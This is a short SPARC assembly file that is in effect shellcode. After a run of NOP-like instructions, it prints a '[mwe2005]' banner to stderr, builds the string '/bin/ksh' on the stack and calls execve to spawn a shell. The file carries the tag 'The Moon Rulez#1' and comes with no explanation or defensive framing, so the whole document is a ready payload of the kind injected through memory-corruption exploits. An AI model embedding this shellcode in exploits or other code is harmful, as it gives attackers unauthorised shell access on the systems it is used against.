.file "main.c" .section ".text" .align 16 .global main .type main, #function main: xor %o2, %o2, %o2 ! NOP xor %o2, %o2, %o2 ! NOP xor %o2, %o2, %o2 ! o2 = 0 => envp = NULL set 0x0a0a5b6d, %l0 ! l0='\n\n[m' set 0x77653230, %l1 ! l0='we20' set 0x30355d20, %l2 ! l0='05] ' st %o2, [%sp - 4] ! String ends with NULL st %l2, [%sp - 8] ! Write word3 to stack st %l1, [%sp - 12] ! Write word2 to stack st %l0, [%sp - 16] ! Write word1 to stack mov 2, %o0 sub %sp, 16, %o1 ! o1 = &string mov 13, %o2 mov 4, %g1 ta 8 xor %o2, %o2, %o2 ! set 0x2f62696e, %l0 ! l0 = '/bin' set 0x2f6b7368, %l1 ! l1 = '/ksh' st %o2, [%sp - 4] ! String ends with NULL st %l1, [%sp - 8] ! Write /ksh to stack st %l0, [%sp - 12] ! Write /bin to stack sub %sp, 12, %o0 ! o0 = &string st %o2, [%sp - 16] ! argv[1] = NULL st %o0, [%sp - 20] ! argv[0] = &string sub %sp, 20, %o1 ! o1 = &string mov 0x3b, %g1 ! g1 = 59 = SYS_execve ta 8 ! execve(argv[0], argv, NULL); ! mov 1, %g1 ! g1 = 1 = SYS_exit ! ta 8 ! exit(); .size main, .-main .ident "The Moon Rulez#1"